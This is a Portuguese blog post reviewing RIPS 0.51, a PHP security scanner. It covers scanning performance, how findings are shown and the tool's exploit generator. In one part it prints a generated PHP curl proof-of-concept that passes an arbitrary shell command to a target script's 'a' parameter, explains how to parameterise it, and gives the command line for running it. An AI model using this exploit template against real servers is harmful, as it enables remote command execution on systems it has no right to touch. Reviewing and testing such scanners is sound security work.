domingo, 8 de janeiro de 2012

RIPS 0.51: Basic analysis


 Fiz alguns testes na ferramenta, ele se comportou bem,  inclusive com sistema de porte maior.
Analisei com aplicações entre 1 e 1200 arquivos, acima de 100 achei  performance um pouco degradada, testei em uma maquina core i5/6GB, o Rips faz o httpd consumir cerca de 25% de processamento.

São vários níveis de scaneamento e é possível  escolher a varredura  Server side e Client, além de ser possível procurar por falhas especificas


O que achei bem interessante, foi que ele mostra em tempo real qual arquivo esta sendo scaneado, a quantidade de arquivos scaneados/total, número da linha e uma estimativa de término. Esta estimativa não funciona muito bem, mas já ajuda.















O modo como a falha é exibida é bem intuitiva, com links e referências para  funções, além de sugerir as devidas correções.























O Exploit Creator funciona, porém, ele se perde em relação a utilização de sub-diretórios. Como podem ver na imagem, o campo url não é preenchido como deveria. A alteração pode ser feita nesta tela mesmo ou  no código fonte depois que o exploit é gerado.














Neste caso, é solicitado um valor para a variável "a", que seria o comando a ser executado, o exploit gerado ficaria, vamos dizer, "engessado",  mas como é php, as alterações para torna-lo funcional são simples.

Depois do Poc gerado,  pasta alterar o comando da var "a" por  $argv[2]  ou  caso vá usa-lo via web, $_GET['cmd']


Segue um exemplo:

<?php
#
# t.php curl exploit
#

//
// HTTP GET,
//

$target = $argv[1];

$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_URL, "http://$target/t.php?a=$argv[2]");
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "DcLabs)");
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3);
curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookie_$target");
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);

echo $buf;
?>

A linha de comand para execução seria assim:

php -q exploit.php localhost/teste/ <comando>

Ou caso o path tenha sido ajustado antes da criação do exploit:

php -q exploit.php localhost <comando>


Para utilização do exploit é necessário habilitar a extensão curl no php.ini

extension=php_bz2.dll
extension=php_curl.dll
;extension=php_dba.dll
extension=php_mbstring.dll
extension=php_exif.dll

Em sistemas com numero maior de arquivos a serem analisados é necessário alterar o parâmetro memory_limit  também  no php.ini.
Evidentemente que isso vai depender da quantidade de memória da máquina onde o rips está sendo executado.


Bom pessoal, foi uma analise bem superficial mesmo,  caso eu tenha novidades posto novamente.

Nenhum comentário:

Postar um comentário